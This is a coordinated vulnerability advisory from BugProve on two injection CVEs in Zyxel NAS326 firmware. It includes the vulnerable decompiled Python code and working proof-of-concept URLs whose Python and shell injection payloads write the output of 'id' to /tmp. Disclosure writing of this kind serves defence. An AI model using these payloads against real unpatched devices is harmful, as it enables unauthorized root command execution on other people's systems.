Back to the articles
CVE-2023-37927 & CVE-2023-37928 - Multiple post-auth blind OS command and Python code injection vulnerabilities in Zyxel’s NAS326 devices
Table of contents
Disclaimer: The following vulnerability was detected by BugProve's security research team conducting analysis on publicly available products/firmware. Firmware uploaded by users to BugProve's platform have no connection with any of our own research projects. For more information, check out our Vulnerability Disclosure Policy.
Disclosure timeline
July 1, 2023: BugProve reported several vulnerabilities to Zyxel.
July 5, 2023: Zyxel requested more information on a specific attack vector.
July 5, 2023: BugProve provided more information.
July 6, 2023: Zyxel continued their investigation.
July 11, 2023: Zyxel indicated that the specific attack vector is not exploitable with the latest firmware.
July 20, 2023: BugProve confirmed that the specific attack vector is not exploitable with the latest firmware.
July 24, 2023: Zyxel assigned CVE-2023-37927 and CVE-2023-37928 for the reproduced vulnerabilities and indicated the target date of Sept 19, 2023.
July 24, 2023: BugProve requested clarification regarding the specific attack vector.
July 26, 2023: Zyxel clarified that attack vector has been addressed in CVE-2023-27992.
July 29, 2023: BugProve notified Max Dulin that CVE-2023-27992 seems to be a duplicate of CVE-2019-10633 and the upcoming CVE-2023-37928 is necessary due to an incomplete fix.
Nov 2, 2023: Zyxel indicated that the disclosure date has been postponed to Nov 30, 2023, due to several issues reported by other researchers.
Nov 16, 2023: Zyxel released firmware version V5.21(AAZF.15)C0.
Nov 30, 2023: Coordinated public release of advisory.
Affected products
Zyxel’s NAS326 model devices running firmware version V5.21(AAZF.14)C0 and earlier are affected.
Product URLs
Summary
Multiple post-auth blind OS command and Python code injection vulnerabilities exist in the web management interface of some Zyxel NAS versions. These vulnerabilities could allow authenticated attackers to execute arbitrary OS commands or Python code on an affected device remotely. Attackers could leverage these vulnerabilities to perform unauthorized actions in the context of the WSGI server process running as root
or the web server running as nobody
.
Details
CVE-2023-37927 - OS command injection vulnerability in storage_cgi
The specific flaw exists within the implementation of the OS command execution mechanism via the execRoot_bg2(cmd)
function within the tools.py
component of the web management interface. Attackers can use a specially crafted cmd
string to break out of the original command call and execute arbitrary Python code or OS commands in the context of the WSGI server running as root
.
Our proprietary PRIS™ firmware analysis engine flagged a command injection vulnerability in function FUN_00010568()
within the executer_su
binary in the /usr/local/apache/web_framework/bin
directory, as shown on Figure 1. The FUN_00010568()
function calls the execv()
function with user-provided input without validating or sanitizing it, potentially meaning that attackers could provide input containing shell commands that the program will execute, resulting in arbitrary remote command execution. As the name of the binary suggests, the purpose of this tool is the execution of OS commands in the context of the root
user.
Further analysis revealed that the execRoot_bg2(cmd)
function within the tools.py
file in the /usr/local/apache/web_framework/lib
directory invokes the analyzed executer_su
binary. The vulnerability exists because the execRoot_bg2(cmd)
function calls os.system()
with user-controlled input in the cmd
parameter. This function is intended for executing a command (provided as a string) in a subshell. Incorporating user-supplied data into a command string that is passed as an argument to the os.system()
function creates an opportunity for a command injection vulnerability. The following is the decompiled Python source code of the affected function:
def execRoot_bg2(cmd):
exec_path = os.path.join(sub('/lib.*$', '', os.path.realpath(__file__)), 'bin/executer_su')
os.system(exec_path + ' ' + cmd + ' &')
The affected execRoot_bg2()
function is invoked by the CGICreateLVOnDisk()
and CGICreateMdVol_VG()
functions within the storage_cgi.py
controller. The following is the decompiled Python source code of the mentioned handler functions, showing the command strings created with the old-style string formatting operator %
.
def CGICreateMdVol_VG(cherrypy, arguments):
auth_status = authentication(arguments)
if auth_status != AUTH_PASS:
return gui_errmsg(auth_status)
else:
if arguments.has_key('raidName') and arguments.has_key('raidLevel') and
arguments.has_key('volType') and arguments.has_key('diskxList'):
if type(arguments['diskxList']) != list:
arguments['diskxList'] = [arguments['diskxList']]
sec = 0
while path.exists(storage_main.CREATE_VG_LCK) and sec <= 5:
sleep(1)
sec = sec + 1
if sec > 5:
storage_main.StoDebug('Error(can not enter critical): file=' + storage_main.CREATE_VG_LCK)
return storage_main.GUI_ERRMSG_UNEXPECTED
cmd = '%s -c \'from models import storage_main; storage_main.MainCreateMdVol_VG("%s", "%s", "%s", %s)\'' % (storage_main.PYTHON, arguments['raidName'], arguments['raidLevel'].lower(), arguments['volType'],
json.dumps(arguments['diskxList']))
storage_main.StoDebug(cmd)
execRoot_bg2(cmd)
sleep(0.5)
for i in range(10):
if path.exists(storage_main.CREATE_VG_LCK):
with open(storage_main.CREATE_VG_LCK) as (f):
info = f.read().strip()
if info == '':
sleep(0.5)
else:
return storage_main.GUI_ERRMSG_OK
else:
sleep(0.5)
storage_main.StoDebug('error, cgi time out')
return storage_main.GUI_ERRMSG_ARG
return storage_main.GUI_ERRMSG_ARG
def CGICreateLVOnDisk(cherrypy, arguments):
auth_status = authentication(arguments)
if auth_status != AUTH_PASS:
return gui_errmsg(auth_status)
else:
if arguments.has_key('volName') and arguments.has_key('volSiz') and
arguments.has_key('raidName') and arguments.has_key('raidLevel') and arguments.has_key('diskxList'):
if type(arguments['diskxList']) != list:
arguments['diskxList'] = [
arguments['diskxList']]
sec = 0
while path.exists(storage_main.CREATE_VG_LCK) and sec <= 5:
sleep(1)
sec = sec + 1
if sec > 5:
storage_main.StoDebug('Error(can not enter critical): file=' + storage_main.CREATE_VG_LCK)
return storage_main.GUI_ERRMSG_UNEXPECTED
cmd = '%s -c \'from models import storage_main; storage_main.MainCreateLVOnDisk("%s", "%s", "%s", "%s", %s)\'' % (storage_main.PYTHON, arguments['volName'], arguments['volSiz'], arguments['raidName'], arguments['raidLevel'], json.dumps(arguments['diskxList']))
storage_main.StoDebug(cmd)
execRoot_bg2(cmd)
sleep(0.5)
for i in range(10):
if path.exists(storage_main.CREATE_VG_LCK):
with open(storage_main.CREATE_VG_LCK) as (f):
info = f.read().strip()
if info == '':
sleep(0.5)
else:
return storage_main.GUI_ERRMSG_OK
else:
sleep(0.5)
storage_main.StoDebug('error, cgi time out')
return storage_main.GUI_ERRMSG_ARG
return storage_main.GUI_ERRMSG_ARG
The CGICreateLVOnDisk()
and CGICreateMdVol_VG()
functions turned out to be the API handlers of the createDiskGroupVolume
and createRaidOrDiskGroup
commands available through the web management interface after authentication. The following is the relevant excerpt of the /usr/local/apache/htdocs/desktop,/utility/command.js
file that maps commands to their API endpoints.
var cmdPool = {
...SNIP...
createRaidOrDiskGroup:'/cmd,/ck6fup6/storage_cgi/CGICreateMdVol_VG',
createDiskGroupVolume:'/cmd,/ck6fup6/storage_cgi/CGICreateLVOnDisk',
...SNIP...
}
The raidName
, raidLevel
, volType
and diskxList
parameters at /cmd,/ck6fup6/storage_cgi/CGICreateMdVol_VG
appear to be vulnerable to Python code injection or OS command injection attacks. Attackers could use the double quote ( "
) character to inject arbitrary Python statements or the single quote ( '
) character to break out of the original Python command and inject arbitrary OS commands.
The vulnerability in the CGICreateMdVol_VG()
handler can be confirmed with an authenticated user via the following URLs:
http[:]//NAS326/cmd,/ck6fup6/storage_cgi/CGICreateMdVol_VG?whoami=admin&raidName=1%22%2C__import__(%22os%22).system(%22id%3E%2Ftmp%2Fbugproved%22)%2C%22&raidLevel=2&volType=3&diskxList=4
http[:]//NAS326/cmd,/ck6fup6/storage_cgi/CGICreateMdVol_VG?whoami=admin&raidName=1%22)%27%3Bid%3E%2Ftmp%2Fbugproved%3B%27(%22&raidLevel=2&volType=3&diskxList=4
We submitted the payloads 1",__import__("os").system("id>/tmp/bugproved"),"
and 1")';id>/tmp/bugproved;'("
in the raidName
parameter. The application created the /tmp/bugproved
file, containing the output from the injected command, indicating that the Python code was interpreted and the OS command was executed.
Conveniently, the command string passed to the execRoot_bg2()
function is logged in the /tmp/sto_log
file. Figure 2. shows the log content with the PoC payloads and the output of the executed commands.
Furthermore, the volName
, volSize
, raidName
, raidLevel
and diskxList
parameters at /cmd,/ck6fup6/storage_cgi/CGICreateLVOnDisk
are also affected. We can observe the same results by submitting the same payloads in the volName
parameter. Figure 3. shows the log content with the payloads and the output of the executed commands.
The vulnerability in the CGICreateLVOnDisk()
handler can be confirmed with an authenticated user via the following URLs:
http[:]//NAS326/cmd,/ck6fup6/storage_cgi/CGICreateLVOnDisk?whoami=admin&volName=1%22%2C__import__(%22os%22).system(%22id%3E%2Ftmp%2Fbugproved%22)%2C%22&volSiz=2&raidName=3&raidLevel=4&diskxList=5
http[:]//NAS326/cmd,/ck6fup6/storage_cgi/CGICreateLVOnDisk?whoami=admin&volName=1%22)%27%3Bid%3E%2Ftmp%2Fbugproved%3B%27(%22&volSiz=2&raidName=3&raidLevel=4&diskxList=5
CVE-2023-37928 - Python code injection vulnerability in simZysh
This issue seems to result from an incomplete fix for CVE-2023-27992, which appears to be a duplicate of CVE-2019-10633 originally reported by Max Dulin. We independently reported this vulnerability to Zyxel before we became aware of Max’s research.
Similarly to the mentioned vulnerabilities, the specific flaw exists within the implementation of the MVC model in the simZysh()
function of the main_wsgi.py
component of the web management interface. Attackers can use specially crafted values in multiple path query parameters to execute arbitrary Python code in the context of the web server process running as nobody
.
The c%d
query parameters used at path /cmd,/simZysh
appear to be vulnerable to Python code injection attacks. The purpose of this function is to simulate zyshcgi
's output. The function expects commands in the format controller action {"arg1": value, "arg2": value, ...}
. We submitted the payload system_main whoami {__import__("os").system("id>/tmp/bugproved")}
in the c0
request parameter, as Figure 4. shows.
The application does not seem to return the command output in its responses. However, we can find the output of the injected id
command in the file bugproved
created in the /tmp
directory, as Figure 5. shows.
The path /cmd,
is just an alias to a WSGI application. Hence, requests made for http://NAS326/cmd,
causes the web server to run the WSGI application defined in the main.wsgi
file in the /usr/local/apache/web_framework
directory. The following is the relevant excerpt of the httpd_special.conf
file in the /etc/service_conf
directory:
<Directory /usr/local/apache/web_framework>
Order allow,deny
Allow from all
</Directory>
WSGIScriptAlias /cmd, /usr/local/apache/web_framework/main.wsgi
...SNIP...
The web application redirects requests from /ck6fup6
and /tjp6jp6y4
to the WSGI server listening on the socket /tmp/main_wsgi.sock
to /ck6fup6_to_wsgi_server
and /tjp6jp6y4_to_wsgi_server
following the /<controller>/<action>
pattern. The below is the decompiled Python source code of the discussed request handler functions from the main.wsgi
file:
def ck6fup6(self, *url_args, **request_args):
...SNIP...
url = tools_cherrypy.SOCKET_URL_PREFIX + '/ck6fup6_to_wsgi_server/%s/%s' % (url_args[0], url_args[1])
response = tools_cherrypy.socket_request(url, data=request_args, cookies=self.set_cookies())
if response == tools_cherrypy.INT_SERV_ERROR:
return tools_cherrypy.gui_errmsg(response)
return response.json()
def tjp6jp6y4(self, *url_args, **request_args):
...SNIP...
if url_args[0] == 'register_main' and url_args[1] == 'setCookie':
...SNIO...
else:
url = tools_cherrypy.SOCKET_URL_PREFIX + '/tjp6jp6y4_to_wsgi_server/%s/%s' % (url_args[0], url_args[1])
response = tools_cherrypy.socket_request(url, data=request_args, cookies=self.set_cookies())
if response == tools_cherrypy.INT_SERV_ERROR:
return response
return response.content
return
In this case, requests are processed in the simZysh()
handler function that will load the requested controller scripts and execute the specified functions via eval()
. Be aware that the WSGI server runs in a separate process from the web server. Hence, the injected code will be executed in the context of the WSGI server process. The following is the relevant excerpt of the decompiled Python source code of the mentioned request handler function:
def simZysh(self, *url_args, **request_args):
r_value = {}
c_index = 0
while True:
c_key = 'c%d' % c_index
if request_args.has_key(c_key):
controller_n, action_n, args = request_args[c_key].split(' ', 2)
try:
controller = __import__('controllers.%s' % controller_n)
tmp_result = eval('controller.%s.%s(cherrypy=%s, arguments=%s)' % (controller_n, action_n, 'cherrypy', args))
...SNIP...
except:
...SNIP...
else:
break
c_index += 1
return r_value
Further analysis confirmed that the vulnerability lies again within the implementation of the MVC model. The web application uses the eval()
function to load controllers and perform actions based on the /<controller>/<action>
path segments. The evaluated Python expression is specified in the string pattern controller.%s.%s(cherrypy=%s, arguments=%s)
and formatted based on user-supplied input.
Python code injection vulnerabilities arise when the application incorporates user-controllable data into a string dynamically evaluated by a code interpreter, in this case via the eval()
function. If the user input is not strictly validated, attackers can use specially crafted input to modify the original code to be executed and inject arbitrary code that the server will run.
The vulnerability can be confirmed with an authenticated user via the following URL:
http[:]//NAS326/cmd,/simZysh?c0=system_main%20whoami%20{__import__(%22os%22).system(%22id%3E%2ftmp%2fbugproved%22)}
Acknowledgments
The vulnerabilities were found by Gábor Selján at BugProve.
Thanks to Zyxel’s PSIRT team for the effective coordination process.